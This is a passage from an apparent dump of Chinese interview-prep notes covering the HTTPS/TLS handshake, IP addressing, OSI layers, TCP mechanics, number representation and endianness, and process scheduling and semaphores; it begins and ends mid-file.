双方采用\"对话密钥\"进行加密通信。\n```\n\n![](images/44e2b283e89f3fbe81b280df04d2feeb.png)\n\n\"握手阶段\"涉及四次通信，我们一个个来看。需要注意的是，**\"握手阶段\"的所有通信都是明文的**。\n\n#### 客户端发出请求（ClientHello）\n\n首先，客户端（通常是浏览器）先向服务器发出加密通信的请求，这被叫做 `ClientHello` 请求。\n\n在这一步，客户端主要向服务器提供以下信息。\n\n```\n（1） 支持的协议版本，比如TLS 1.0版。\n（2） 一个客户端生成的随机数，稍后用于生成\"对话密钥\"。\n（3） 支持的加密方法，比如RSA公钥加密。\n（4） 支持的压缩方法。\n```\n\n这里需要注意的是，客户端发送的信息之中不包括服务器的域名。也就是说，理论上服务器只能包含一个网站，否则会分不清应该向客户端提供哪一个网站的数字证书。这就是为什么通常一台服务器只能有一张数字证书的原因。\n\n对于虚拟主机的用户来说，这当然很不方便。2006年，TLS协议加入了一个 *Server Name Indication* 扩展，允许客户端向服务器提供它所请求的域名。\n\n#### 服务器回应（SeverHello）\n\n服务器收到客户端请求后，向客户端发出回应，这叫做 `SeverHello` 。服务器的回应包含以下内容。\n\n```\n（1）确认使用的加密通信协议版本，比如TLS 1.0版本。如果浏览器与服务器支持的版本不一致，服务器关闭加密通信。\n（2） 一个服务器生成的随机数，稍后用于生成 对话密钥。\n（3） 确认使用的加密方法，比如 RSA 公钥加密。\n（4） 服务器证书。\n```\n\n除了上面这些信息，如果服务器需要确认客户端的身份，就会再包含一项请求，要求客户端提供 **\"客户端证书\"**。比如，金融机构往往只允许认证客户连入自己的网络，就会向正式客户提供 **USB** 密钥，里面就包含了一张客户端证书。\n\n#### 客户端回应\n\n客户端收到服务器回应以后，首先验证服务器证书。如果证书不是可信机构颁布、或者证书中的域名与实际域名不一致、或者证书已经过期，就会向访问者显示一个警告，由其选择是否还要继续通信。\n\n**如果证书没有问题，客户端就会从证书中取出服务器的公钥**。然后，向服务器发送加密信息，包含下面三项信息。\n\n```\n（1） 一个随机数。该随机数用服务器公钥加密，防止被窃听。\n（2） 编码改变通知，表示随后的信息都将用双方商定的加密方法和密钥发送。\n（3） 客户端握手结束通知，表示客户端的握手阶段已经结束。这一项同时也是前面发送的所有内容的hash值，用来供服务器校验。\n```\n\n上面第一项的随机数，是整个握手阶段出现的第三个随机数，又称 `pre-master key` 。有了它以后，客户端和服务器就同时有了三个随机数，接着双方就用事先商定的加密方法，各自生成本次会话所用的同一把\"会话密钥\"。\n\n至于 **为什么一定要用三个随机数，来生成\"会话密钥\"**：\n\n> 不管是客户端还是服务器，都需要随机数，这样生成的密钥才不会每次都一样。由于SSL协议中证书是静态的，因此十分有必要引入一种随机因素来保证协商出来的密钥的随机性。\n>\n> 对于 RSA 密钥交换算法来说，`pre-master-key`本身就是一个随机数，再加上 hello 消息中的随机，**三个随机数通过一个密钥导出器最终导出一个对称密钥**。\n>\n> `pre master` 的存在在于 `SSL` 协议不信任每个主机都能产生完全随机的随机数，如果随机数不随机，那么 `pre master secret`（对称密钥） 就有可能被猜出来，那么仅适用 `pre master secret` 作为密钥就不合适了，因此必须引入新的随机因素，那么客户端和服务器三个随机数一同生成的密钥就不容易被猜出了，**一个伪随机可能完全不随机，可是是三个伪随机就十分接近随机了，每增加一个自由度，随机性增加的可不是一个量级**。\n\n此外，如果前一步，服务器要求客户端证书，客户端会在这一步发送证书及相关信息。\n\n#### 服务器的最后回应\n\n服务器收到客户端的第三个随机数 `pre-master key` 之后，计算生成本次会话所用的\"会话密钥\"。然后，向客户端最后发送下面信息。\n\n```\n（1）编码改变通知，表示随后的信息都将用双方商定的加密方法和密钥发送。\n（2）服务器握手结束通知，表示服务器的握手阶段已经结束。这一项同时也是前面发送的所有内容的 hash 值，用来供客户端校验。\n```\n至此，整个握手阶段全部结束。接下来，客户端与服务器进入加密通信，就完全是使用普通的HTTP协议，只不过用\"会话密钥\"加密内容。\n\n## TCP 流过程\n\n  1. **Client Hello**：客户端将其SSL版本号、加密设置参数、与session有关的数据以及其它一些必要信息（如加密算法和能支持的密钥大小）发送到服务器。\n  2. **Server Hello**：服务器将其SSL版本号、加密设置参数、与session有关的数据以及其它一些必要信息发送给客户端\n  3. **Certificate（可选）**：服务器发一个证书或一个证书链到客户端，证书链开始于服务器公共钥匙并结束于证明权威的根证书。该证书用于向客户端确认服务器的身份，该消息是可选的。如果配置服务器的SSL需要验证服务器的身份，会发送该消息。多数电子商务应用都需要服务器端身份验证。\n  4. **Certificate Request（可选）**：如果配置服务器的SSL需要验证用户身份，还要发出请求要求浏览器提供用户证书。 多数电子商务不需要客户端身份验证，不过，在支付过程中经常需要客户端身份验证。\n  5. **Server Key Exchange（可选）**：如果服务器发送的公共密钥对加密密钥的交换不是很合适，则发送一个服务器密钥交换消息。\n  6. **ServerHelloDone**：通知客户端，服务器已经完成了交流过程的初始化。\n  7. **Certificate（可选）**：客户端发送客户端证书给服务器。仅当服务器请求客户端身份验证的时候会发送客户端证书\n  8. **Client Key Exchange**：客户端产生一个会话密钥与服务器共享。在SSL握手协议完成后，客户端与服务器端通信信息的加密就会使用该会话密钥。如果使用RSA加密算法，客户端将使用服务器的公钥将会话加密后再发送给服务器。服务器使用自己的私钥对接收的消息进行解密得到共享的会话密钥。\n  9. **Certificate Verify**：如果服务器请求验证客户端，则这消息允许服务器完成验证过程。\n  10. **Change cipher spec**：客户端要求服务器在后续的通信中使用加密模式\n  11. **Finished**：客户端告诉服务器已经准备好安全通信了。\n  12. **Change cipher spec**：服务器要求客户端在后续的通信中使用加密模式\n  13. **Finished**：服务器告诉客户端它已经准备好安全通信了。SSL握手完成的标志\n  14. **Encrypted Data**：客户端和服务端在安全信道上进行加密信息的交流\n\n## [HTTPS 的七个误解](http://www.ruanyifeng.com/blog/2011/02/seven_myths_about_https.html)\n\n  - `HTTPS无法缓存？`：许多人以为，出于安全考虑，浏览器不会在本地保存HTTPS缓存。实际上，只要在HTTP头中使用特定命令，**HTTPS是可以缓存的**。\n  - `SSL证书很贵？`：如果你在网上搜一下，就会发现很多便宜的SSL证书，大概10美元一年，这和一个 `.com` 域名的年费差不多。而且事实上，还能找到免费的 `SSL` 证书。\n  - `HTTPS站点必须有独享的IP地址？`使用子域名通配符SSL证书（`wildcard SSL certificate`，价格大约是每年125美元），就能在一个IP地址上部署多个HTTPS子域名。\n  - `转移服务器时要购买新证书？`\n  - `HTTPS太慢？`：使用HTTPS不会使你的网站变得更快（实际上有可能，请看下文），但是有一些技巧可以大大减少额外开销。\n  - `有了HTTPS，Cookie和查询字符串就安全了？`：虽然无法直接从HTTPS数据中读取Cookie和查询字符串，但是你仍然需要使它们的值变得难以预测。\n  - `只有注册登录页，才需要HTTPS？`：这种想法很普遍。人们觉得，HTTPS可以保护用户的密码，此外就不需要了。Firefox浏览器新插件Firesheep，证明了这种想法是错的。我们可以看到，在Twitter和Facebook上，劫持其他人的session是非常容易的。\n"
  },
  {
    "path": "docs/android/interview/basic/net/ip.md",
    "content": "# IP\n\n## 地址分类\n\n- A类：**8位网络号**，`0_ _ _ _ _ _ _`，1.0.0.0 ~ 126.0.0.0\n- B类：**16位网络号**，`10 _ _ ...`，128.0.0.0 ~ 191.255.255.255\n- C类：**24位网络号**，`110_ _ _...`，192.0.0.0  ~ 223.255.255.255\n- D类：**多播地址**，`1110_ _ _...`\n- E类：**保留地址**，`1111_ _ _ ...`\n\n## 私有地址\n\n- A类:`10.0.0.0 ~ 10.255.255.255`(长度相当于1个A类IP地址)\n- B类:`172.16.0.0 ~ 172.31.255.255`(长度相当于16个连续的B类IP地址)\n- C类:`192.168.0.0 ~ 192.168.255.255`(长度相当于256个连续的C类IP地址)\n\n\n## 特殊的IP地址\n\n- `0.0.0.0`：已经不是一个真正意义上的IP地址。它表示的是这样一个集合：**所有不清楚的主机和目的网络。这里的“不清楚”是指在本机的路由表里没有特定条目指明如何到达**。如果在网络设置中设置了缺省网关,那么系统会自动产生一个目的地址为0.0.0.0的缺省路由.对本机来说,它就是一个“收容所”,所有不认识的“三无”人员,一 律送进去。\n\n- `255.255.255.255`： 限制广播地址，对本机来说,这个地址指本网段内(同一广播域)的所有主机。**这个地址不能被路由器转发**。\n\n- `127.0.0.1`：本机地址主要用于测试。这样一个地址,是不能把它发到网络接口的。\n"
  },
  {
    "path": "docs/android/interview/basic/net/osi.md",
    "content": "# 网络分层\n\n## OSI\n\n|      层        |  功能           |\n| :------------- |  :------------- |\n| 应用层         |网络进程到应用程序。针对特定应用规定各层协议、时序、表示等，进行封装 。在端系统中用软件来实现，如HTTP等|\n| 表示层         |数据表示形式，加密和解密，把机器相关的数据转换成独立于机器的数据。规定数据的格式化表示 ，数据格式的转换等|\n| 会话层         |主机间通讯，管理应用程序之间的会话。规定通信时序 ；数据交换的定界、同步，创建检查点等|\n| 传输层         |在网络的各个节点之间可靠地分发数据包。所有传输遗留问题；复用；流量；可靠|\n| 网络层         |在网络的各个节点之间进行地址分配、路由和（不一定可靠的）分发报文。路由（ IP寻址）；拥塞控制。|\n| 数据链路层     |一个可靠的点对点数据直链。检错与纠错（CRC码）；多路访问；寻址|\n| 物理层         |一个（不一定可靠的）点对点数据直链。定义机械特性；电气特性；功能特性；规程特性|\n"
  },
  {
    "path": "docs/android/interview/basic/net/questions.md",
    "content": "# 面试题\n\n### CSMA/CD有什么作用？\n\nCSMA/CD即带冲突检测的载波监听多路访问技术，应用在 `OSI` 的第二层数据链路层，是为了解决共享介质的传输效率的问题。**其原理简单总结为：先听后发，边发边听，冲突停发，随机延迟后重发**。\n\n***\n\n### Http会话的过程？\n\n  - 建立tcp连接\n  - 发出请求文档\n  - 发出响应文档\n  - 释放tcp连接\n\n***\n\n### TCP协议如何实现可靠传输？\n\nTCP 协议是通过ARQ协议以及等待、确认、重传等机制实现可靠传输。\n"
  },
  {
    "path": "docs/android/interview/basic/net/tcp.md",
    "content": "# TCP\n\n## TCP概述\n\n### TCP的特点\n\n  - TCP是面向连接的传输层协议。\n  - TCP连接是点对点的（套接字--IP:Port到套接字）。\n  - TCP提供可靠交付的服务。\n  - TCP提供全双工通信。\n  - 面向字节流。\n\n### TCP与UDP的区别。\n\n  ||TCP |UDP |\n  |---|\n  |是否连接| 面向连接 |面向非连接|\n  |传输可靠性| 可靠| 不可靠|\n  |应用场合| 传输大量数据| 少量数据|\n  |速度| 慢| 快|\n\n### 基本概念：\n\n  - `发送缓存和接受缓存`：用来临时保存双向通信的数据。在发送时，应用程序将数据传送给TCP发送缓存后，就可以做自己的事情，TCP在合适的时候发送数据；在接受数据时，TCP把发送的数据放入缓存，上层应用在合适的时候读取缓存即可。\n\n  - `滑动窗口`：TCP的滑动窗口以字节为单位，用3个指针进行表示。当窗口内连续报文段被确认收到后，可以将窗口向前滑动。窗口大小应小于等于缓存区的大小。\n\n  - `滑动窗口协议`：只有在接收窗口向前滑动时（与此同时也发送了确认），发送窗口才有可能向前滑动。收发两端的窗口按照以上规律不断地向前滑动，因此这种协议又称为滑动窗口协议。\n\n  > 当发送窗口和接收窗口的大小都等于 1时，就是停止等待协议。\n\n  > 当发送窗口大于1，接收窗口等于1时，就是回退N步协议。\n\n  > 当发送窗口和接收窗口的大小均大于1时，就是选择重发协议。\n\n## TCP报文结构。\n\n![](images/tcp_head.png)\n\n- 源端口、目的端口：16位长。标识出远端和本地的端口号。\n- 序列号：32位长。表明了发送的数据报的顺序，不一定从0开始。\n- 确认号：32位长。希望收到的下一个数据报的序列号，表明到序列号`N-1`为止的所有数据已经正确收到。\n- TCP协议数据报头长：4位长。表明TCP头中包含多少个32位字。\n- 接下来的6位未用。\n- ACK：**ACK位置1表明确认号是合法的**。如果ACK为0，那么数据报不包含确认信息，确认字段被省略。\n- PSH：表示是带有PUSH标志的数据。接收方因此请求数据报一到便可送往应用程序而不必等到缓冲区装满时才传送。\n- RST：用于复位由于主机崩溃或其它原因而出现的错误的连接。还可以用于拒绝非法的数据报或拒绝连接请求。\n- SYN：用于建立连接。\n- FIN：用于释放连接。\n- 窗口大小：16位长。窗口大小字段表示在确认了字节之后还可以发送多少个字节。\n- 校验和：16位长。是为了确保高可靠性而设置的。它校验头部、数据和伪TCP头部之和。\n- 紧急指针：`URG=1`时才有意义。\n- 可选项：长度可变，最长40个字节。\n  - MMS\n  - SACK：选择确认。\n  - 时间戳：计算往返时间；用于处理TCP序号超过`2^32`的情况，又称为防止序号回绕（PAWS）。\n\n> TCP最小长度为20个字节。\n\n## 三次握手\n\n  - 第一次握手：建立连接时，客户端发送syn包（syn=j）到服务器，并进入`SYN_SENT`状态，等待服务器确认；*SYN：同步序列编号（Synchronize Sequence Numbers）*。\n  - 第二次握手：服务器收到syn包，必须确认客户的SYN（ack=j+1），同时自己也发送一个SYN包（syn=k），即SYN+ACK包，此时服务器进入`SYN_RECV`状态；\n  - 第三次握手：客户端收到服务器的SYN+ACK包，向服务器发送确认包ACK(ack=k+1），此包发送完毕，客户端和服务器进入`ESTABLISHED`（TCP连接成功）状态，完成三次握手。\n\n## 四次挥手\n\n![](images/tcp_finish.jpg)\n\n>在Time_Wait阶段，主动端等待2*MSL时间，MSL建议为2分钟。\n\n由于TCP连接是全双工的，因此每个方向都必须单独进行关闭。\n\n  - 客户端A发送一个FIN，用来关闭客户A到服务器B的数据传送（报文段4）。\n  - 服务器B收到这个FIN，它发回一个ACK，确认序号为收到的序号加1（报文段5）。和SYN一样，一个FIN将占用一个序号。\n  - 服务器B关闭与客户端A的连接，发送一个FIN给客户端A（报文段6）。\n  - 客户端A发回ACK报文确认，并将确认序号设置为收到序号加1（报文段7）\n\n> TCP采用四次挥手关闭连接如图所示为什么建立连接协议是三次握手，而关闭连接却是四次握手呢？\n\n> 这是因为服务端的LISTEN状态下的SOCKET当收到SYN报文的建连请求后，它可以把ACK和SYN（ACK起应答作用，而SYN起同步作用）放在一个报文里来发送。但关闭连接时，当收到对方的FIN报文通知时，它仅仅表示对方没有数据发送给你了；但未必你所有的数据都全部发送给对方了，所以你可以未必会马上会关闭SOCKET,也即你可能还需要发送一些数据给对方之后，再发送FIN报文给对方来表示你同意现在可以关闭连接了，所以它这里的ACK报文和FIN报文多数情况下都是分开发送的。\n\n## ARQ协议\n\nARQ协议（自动重传请求）是OSI模型中数据链路层和传输层的错误纠正协议之一。它通过使用确认和超时这两个机制，在不可靠服务的基础上实现可靠的信息传输。\n\n### 停止等待ARQ\n\n- 发送点对接收点发送数据包，然后等待接收点回复ACK并且开始计时。\n- 在等待过程中，发送点停止发送新的数据包。\n- 当数据包没有成功被接收点接收时候，接收点不会发送ACK.这样发送点在等待一定时间后，重新发送数据包。\n- 反复以上步骤直到收到从接收点发送的ACK。\n\n> 这个协议的缺点是较长的等待时间导致低的数据传输速度。在低速传输时，对连接频道的利用率比较好，但是在高速传输时，频道的利用率会显著下降。\n\n![](images/arq.png)\n\n### 连续ARQ协议（累积确认）\n\n为了克服停止并等待ARQ协议长时间等待ACK的缺点。这个协议会连续发送一组数据包，然后再等待这些数据包的ACK。\n\n> 在连续ARQ协议中涉及到滑动窗口协议，这是TCP协议的精髓所在。\n\n#### 回退N重传\n\n-  接收点丢弃从第一个没有收到的数据包开始的所有数据包。\n- 发送点收到NACK后，从NACK中指明的数据包开始重新发送。\n\n#### 选择重传（SACK）\n\n- 发送点连续发送数据包但对每个数据包都设有个一个计时器。\n- 当在一定时间内没有收到某个数据包的ACK时，发送点只重新发送那个没有ACK的数据包。\n\n> 相对于回退N重传来说，选择重传可以减少重传的数据。\n\n## TCP流量控制\n\n流量控制指点对点通信量的控制，是端到端正的问题。**流量控制所要做的就是抑制发送端发送数据的速率，以便使接收端来得及接收。这里是通过滑动窗口机制来实现的**。发送方的发送窗口不能超过接收方的接收窗口。TCP的窗口单位是字节，不是报文段。\n\n![](images/tcp_traffic_control.png)\n\n这上图中B一共进行了三次流量控制：第一次将窗口减小到`300`，第二次减小到`100`，最后减小到`0`，这时发送方暂停发送知道B发送一个新的窗口值为止。\n\n> 如果B发送了一个新的窗口值到A，但是A并没有收到，就会造成死锁。为解决这个问题，TCP为每个链接设置有一个持续计时器。只要TCP收到一个0窗口，就启动计时器。若计时器设置的时间到了，就发送一个探测报文，而接收方在确认的时候会给出一个现在的窗口值。\n\n## TCP拥塞控制。\n\n**防止过多的数据注入到网络中，这样可以使网络中的路由器或链路不致过载**。拥塞控制所要做的都有一个前提：网络能够承受现有的网络负荷。拥塞控制是一个全局性的过程，涉及到所有的主机、路由器，以及与降低网络传输性能有关的所有因素。\n\n### 慢开始和拥塞避免\n\n发送方维持一个拥塞窗口`cwnd`的状态变量。**发送方让自己的发送窗口小于等于拥塞窗口**。\n\n![](images/tcp_slow_begin.png)\n\n- `慢开始`：**由小到大的逐渐增大拥塞窗口**。首先将cwnd设置为一个最大报文段MMS，在收到一个对新的报文段的确认后，把拥塞窗口增加一个MMS。——指数增长\n\n- `拥塞避免`：当慢开始到门限值（ssthresh）后，使用拥塞避免算法（cwnd每次加1）。当发现网络拥塞后，将cwnd置为1，ssthresh减半，再次执行慢开始。\n\n### 快重传和快恢复\n\n- `快重传`：**当接收方收到一个失序报文段后就立即发送重复确认而不要等到自己发送数据时捎带确认**。当发送方连续收到三个重复确认时，应立即重传接收方尚未收到的报文段。\n\n- `快恢复`：与快重传结合使用。\n\n  - 在连续收到三个重复确认时，将慢开始的ssthresh减半，这是为了防止网络拥塞（ ** 接下来并不执行慢开始 ** ）。\n\n  - 由于发送方现在认为 *网络很可能没有拥塞*，于是接下来不执行慢开始，而是将cwnd值设置为ssthresh减半后的值，然后执行拥塞避免。\n"
  },
  {
    "path": "docs/android/interview/basic/op/README.md",
    "content": "# 操作系统\n\n"
  },
  {
    "path": "docs/android/interview/basic/op/arch.md",
    "content": "# 计算机体系结构\n\n## 冯·诺依曼体系结构\n\n1. 计算机处理的数据和指令一律用二进制数表示\n2. 顺序执行程序\n\n   计算机运行过程中，把要执行的程序和处理的数据首先存入主存储器（内存），计算机执行程序时，将自动地并按顺序从主存储器中取出指令一条一条地执行，这一概念称作顺序执行程序。\n\n3. 计算机硬件由运算器、控制器、存储器、输入设备和输出设备五大部分组成。\n\n## 数据的机内表示\n\n### 二进制表示\n\n#### 机器数\n\n由于计算机中符号和数字一样，都必须用二进制数串来表示，因此，**正负号也必须用0,1来表示**。\n\n#### 原码\n\n原码用第一位表示符号, 其余位表示值. 比如如果是8位二进制:\n\n```\n[+1]原 = 0000 0001\n\n[-1]原 = 1000 0001\n\n第一位是符号位. 因为第一位是符号位, 所以8位二进制数的取值范围就是:\n\n[1111 1111 , 0111 1111]\n\n即\n\n[-127 , 127]\n```\n\n原码是人脑最容易理解和计算的表示方式\n\n#### 反码\n\n   - 正数的反码是其本身\n   - 负数的反码是在其原码的基础上, 符号位不变，其余各个位取反.\n\n```\n[+1] = [00000001]原 = [00000001]反\n\n[-1] = [10000001]原 = [11111110]反\n```\n\n可见如果一个反码表示的是负数，人脑无法直观的看出来它的数值， 通常要将其转换成原码再计算。\n\n#### 补码\n\n   - 正数的补码就是其本身\n   - 负数的补码是在其原码的基础上, 符号位不变, 其余各位取反, 最后+1。 (即在反码的基础上+1)\n\n```\n[+1] = [00000001]原 = [00000001]反 = [00000001]补\n\n[-1] = [10000001]原 = [11111110]反 = [11111111]补\n```\n\n对于负数, 补码表示方式也是人脑无法直观看出其数值的. 通常也需要转换成原码在计算其数值.\n\n#### 定点数与浮点数\n\n**定点数是小数点固定的数**。在计算机中没有专门表示小数点的位，小数点的位置是约定默认的。一般固定在机器数的最低位之后，或是固定在符号位之后。前者称为定点纯整数，后者称为定点纯小数。\n\n>定点数表示法简单直观，但是 **数值表示的范围太小**，运算时容易产生溢出。\n\n浮点数是小数点的位置可以变动的数。为增大数值表示范围，防止溢出，采用浮点数表示法。**浮点表示法类似于十进制中的科学计数法**。\n\n在计算机上，通常使用`2`为基数的幂数来表式。一个浮点数`a`由两个数`m`和`e`来表示：`a = m × b^e`。在任意一个这样的系统中，我们选择一个基数`b`（记数系统的基）和精度`p`（即使用多少位来存储）。`m` （即尾数）是形如`±d.ddd...ddd`的p位数（每一位是一个介于`0`到`b-1`之间的整数，包括`0`和`b-1`）。**如果`m`的第一位是非0整数，m称作正规化的**。`e`是指数。\n\n```\n|     数符±     |     阶码e      |     尾数m       |\n```\n\n数符表示尾数的符号位，阶码表示幂次，尾数表示规格化后的小数值。\n\n  - **32位单精度**：单精度二进制小数，使用32位存储。1 8 23 位长\n  - **64位双精度**：双精度二进制小数，使用64位存储。1 11 52 位长\n\n### 位、字节、字\n\n  - `位(Bit)`：电子计算机中最小的数据单位。每一位的状态只能是0或1。\n\n  - `字节(Byte)`：**8个二进制位构成1个字节，它是存储空间的基本计量单位**。1个字节可以储存1个英文字母或者半个汉字，换句话说，1个汉字占据2个字节的存储空间。\n\n  - `字(Word)`：**由若干个字节构成，字的位数叫做字长，不同档次的机器有不同的字长**。例如一台8位机，它的1个字就等于1个字节，字长为8位。如果是一台16位机，那么，它的1个字就由2个字节构成，字长为16位。**字是计算机进行数据处理和运算的单位**。\n\n### 字节序\n\n字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序，通常有小端、大端两种字节顺序。\n\n  - `小端字节序`：低字节数据存放在内存低地址处，高字节数据存放在内存高地址处。\n\n  - `大端字节序`：高字节数据存放在低地址处，低字节数据存放在高地址处。\n\n基于X86平台的PC机是小端字节序的，而有的嵌入式平台则是大端字节序的。**所有网络协议也都是采用大端字节序的方式来传输数据的。所以有时我们也会把大端字节序方式称之为网络字节序**。\n\n```\n比如数字 0x12345678 在两种不同字节序CPU中的存储顺序如下所示：\n\n    Big Endian\n    低地址                                            高地址\n    ---------------------------------------------------->\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    |     12     |      34    |     56      |     78    |\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    Little Endian\n    低地址                                            高地址\n    ---------------------------------------------------->\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    |     78     |      56    |     34      |     12    |\n    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\n从上面两图可以看出，采用Big Endian方式存储数据是符合我们人类的思维习惯的。\n```\n\n联合体`union`的存放顺序是所有成员都从低地址开始存放，利用该特性，就能判断CPU对内存采用`Little-endian`还是`Big-endian`模式读写。\n\n### 字节对齐\n\n现代计算机中内存空间都是按照字节划分的，从理论上讲似乎对任何类型的变量的访问可以从任何地址开始，但实际情况是在访问特定类型变量的时候经常在特定的内存地址访问，**这就需要各种类型数据按照一定的规则在空间上排列，而不是顺序的一个接一个的排放，这就是对齐**。\n\n- 为什么要进行字节对齐？\n\n  1. 某些平台只能在特定的地址处访问特定类型的数据;\n  2. 最根本的原因是效率问题，字节对齐能提高存取数据的速度。\n\n比如有的平台每次都是从偶地址处读取数据,对于一个int型的变量,若从偶地址单元处存放,则只需一个读取周期即可读取该变量，但是若从奇地址单元处存放，则需要2个读取周期读取该变量。\n\n- 字节对齐的原则\n\n  1. `数据成员对齐规则`：结构体或联合体的数据成员，第一个数据成员放在 offset 为0的地方，以后每个数据成员存储的起始位置要从该成员大小或者成员的子成员大小（只要该成员有子成员，比如说是数组，结构体等）的整数倍开始（比如int在32位机为4字节,则要从4的整数倍地址开始存储）。\n\n  2. `结构体作为成员`：如果一个结构里有某些结构体成员，则结构体成员要从其内部最大元素大小的整数倍地址开始存储。(struct a里存有struct b,b里有char,int ,double等元素,那b应该从8的整数倍开始存储。)\n\n  3. `收尾工作`：结构体的总大小，也就是sizeof的结果，必须是其内部最大成员的整数倍，不足的要补齐。\n"
  },
  {
    "path": "docs/android/interview/basic/op/concurrency.md",
    "content": "# 并发\n\n## 进程\n\n**进程是一个具有独立功能的程序关于某个数据集合的一次运行活动。它可以申请和拥有系统资源，是一个动态的概念，是一个活动的实体。它不只是程序的代码，还包括当前的活动，通过程序计数器的值和处理寄存器的内容来表示**。\n\n进程的概念主要有两点：\n\n  - `进程是一个实体`，**每一个进程都有它自己的地址空间，一般情况下，包括文本区域（text region）、数据区域（data region）和堆栈（stack region）**。文本区域存储处理器执行的代码；数据区域存储变量和进程执行期间使用的动态分配的内存；堆栈区域存储着活动过程调用的指令和本地变量。\n  - `进程是一个“执行中的程序”`，程序是一个没有生命的实体，只有处理器赋予程序生命时，它才能成为一个活动的实体，我们称其为进程。\n\n### 进程的基本状态\n\n  - `阻塞态`：等待某个事件的完成；\n  - `就绪态`：等待系统分配处理器以便运行；\n  - `执行态`：占有处理器正在运行。\n\n![](images/process_status.jpg)\n\n>执行态 -> 阻塞态：往往是由于等待外设，等待主存等资源分配或等待人工干预而引起的。\n\n>阻塞态 -> 就绪态：则是等待的条件已满足，只需分配到处理器后就能运行。\n\n>执行态 -> 就绪态：不是由于自身原因，而是由外界原因使运行状态的进程让出处理器，这时候就变成就绪态。例如时间片用完，或有更高优先级的进程来抢占处理器等。\n\n>就绪态 -> 执行态：系统按某种策略选中就绪队列中的一个进程占用处理器，此时就变成了运行态\n\n\n### 进程调度\n\n#### 调度种类\n\n高级、中级和低级调度作业从提交开始直到完成，往往要经历下述三级调度：\n\n  - 高级调度：又称为作业调度，它决定把后备作业调入内存运行；\n  - 中级调度：又称为在虚拟存储器中引入，在内、外存对换区进行进程对换。\n  - 低级调度：又称为进程调度，它决定把就绪队列的某进程获得CPU；\n\n#### 非抢占式调度与抢占式调度\n\n  - `非抢占式`：分派程序一旦把处理机分配给某进程后便让它一直运行下去，直到进程完成或发生进程调度进程调度某事件而阻塞时，才把处理机分配给另一个进程。\n\n  - `抢占式`：操作系统将正在运行的进程强行暂停，由调度程序将CPU分配给其他就绪进程的调度方式。\n\n#### 调度策略的设计\n\n  - `响应时间`：从用户输入到产生反应的时间\n  - `周转时间`：从任务开始到任务结束的时间\n  - `平均周转时间`：周转总时间除以作业个数\n\nCPU任务可以分为交互式任务和批处理任务，调度最终的目标是合理的使用CPU，使得交互式任务的响应时间尽可能短，用户不至于感到延迟，同时使得批处理任务的周转时间尽可能短，减少用户等待的时间。\n\n#### 调度算法\n\n1. FCFS：调度的顺序就是任务到达就绪队列的顺序。对短作业不公平。\n\n  >公平、简单(FIFO队列)、非抢占、不适合交互式。未考虑任务特性，平均等待时间可以缩短\n\n2. SJF：最短的作业(CPU区间长度最小)最先调度。\n\n  >可以证明，SJF可以保证最小的平均等待时间。\n\n  - SRJF：SJF的可抢占版本，比SJF更有优势。\n\n  SJF(SRJF): 如何知道下一CPU区间大小？根据历史进行预测: 指数平均法。\n\n3. HRN：最高响应比优先法，是FCFS和SJF的综合平衡，响应比R定义如下： `R =(W+T)/T` 。\n\n4. 优先权调度：每个任务关联一个优先权，调度优先权最高的任务。\n\n  >注意：优先权太低的任务一直就绪，得不到运行，出现“饥饿”现象。\n\n  FCFS是RR的特例，SJF是优先权调度的特例。这些调度算法都不适合于交互式系统。\n\n5. Round-Robin(RR)：设置一个时间片，按时间片来轮转调度\n\n  优点: 定时有响应，等待时间较短；缺点: 上下文切换次数较多；\n\n  > 时间片太大，响应时间太长；吞吐量变小，周转时间变长；当时间片过长时，退化为FCFS。\n\n6. 多级队列调度\n\n  - 按照一定的规则建立多个进程队列\n  - 不同的队列有固定的优先级（高优先级有抢占权）\n  - 不同的队列可以给不同的时间片和采用不同的调度方法\n\n  >存在问题1：没法区分I/O bound和CPU bound；\n\n  >存在问题2：也存在一定程度的“饥饿”现象；\n\n7. 多级反馈队列：在多级队列的基础上，任务可以在队列之间移动，更细致的区分任务。可以根据“享用”CPU时间多少来移动队列，阻止“饥饿”。\n\n  >最通用的调度算法，多数OS都使用该方法或其变形，如UNIX、Windows等。\n\n### 进程同步\n\n#### 临界资源与临界区\n\n在操作系统中，**进程是占有资源的最小单位（线程可以访问其所在进程内的所有资源，但线程本身并不占有资源或仅仅占有一点必须资源）**。但对于某些资源来说，其在同一时间只能被一个进程所占用。这些一次只能被一个进程所占用的资源就是所谓的临界资源。典型的临界资源比如物理上的打印机，或是存在硬盘或内存中被多个进程所共享的一些变量和数据等(如果这类资源不被看成临界资源加以保护，那么很有可能造成丢数据的问题)。\n\n对于临界资源的访问，必须是互斥进行。也就是当临界资源被占用时，另一个申请临界资源的进程会被阻塞，直到其所申请的临界资源被释放。而进程内访问临界资源的代码被成为临界区。\n\n对于临界区的访问过程分为四个部分：\n\n  1. 进入区:查看临界区是否可访问，如果可以访问，则转到步骤二，否则进程会被阻塞\n  2. 临界区:在临界区做操作\n  3. 退出区:清除临界区被占用的标志\n  4. 剩余区：进程与临界区不相关部分的代码\n\n解决临界区问题可能的方法：\n\n  1. 一般软件方法\n  2. 关中断方法\n  3. 硬件原子指令方法\n  4. 信号量方法\n\n#### 信号量\n\n信号量是一个确定的二元组（s，q），其中s是一个具有非负初值的整形变量，q是一个初始状态为空的队列，整形变量s表示系统中某类资源的数目：\n\n- 当其值 `>= 0` 时，表示系统中当前可用资源的数目\n- 当其值 `< 0` 时，其绝对值表示系统中因请求该类资源而被阻塞的进程数目\n\n除信号量的初值外，信号量的值仅能由P操作和V操作更改，操作系统利用它的状态对进程和资源进行管理\n\n##### P操作\n\nP操作记为P(s)，其中s为一信号量，它执行时主要完成以下动作：\n\n```\ns.value = s.value - 1；  /*可理解为占用1个资源，若原来就没有则记帐“欠”1个*/\n```\n\n若`s.value ≥ 0`，则进程继续执行，否则（即s.value < 0），则进程被阻塞，并将该进程插入到信号量s的等待队列s.queue中\n\n> 实际上，P操作可以理解为分配资源的计数器，或是使进程处于等待状态的控制指令\n\n##### 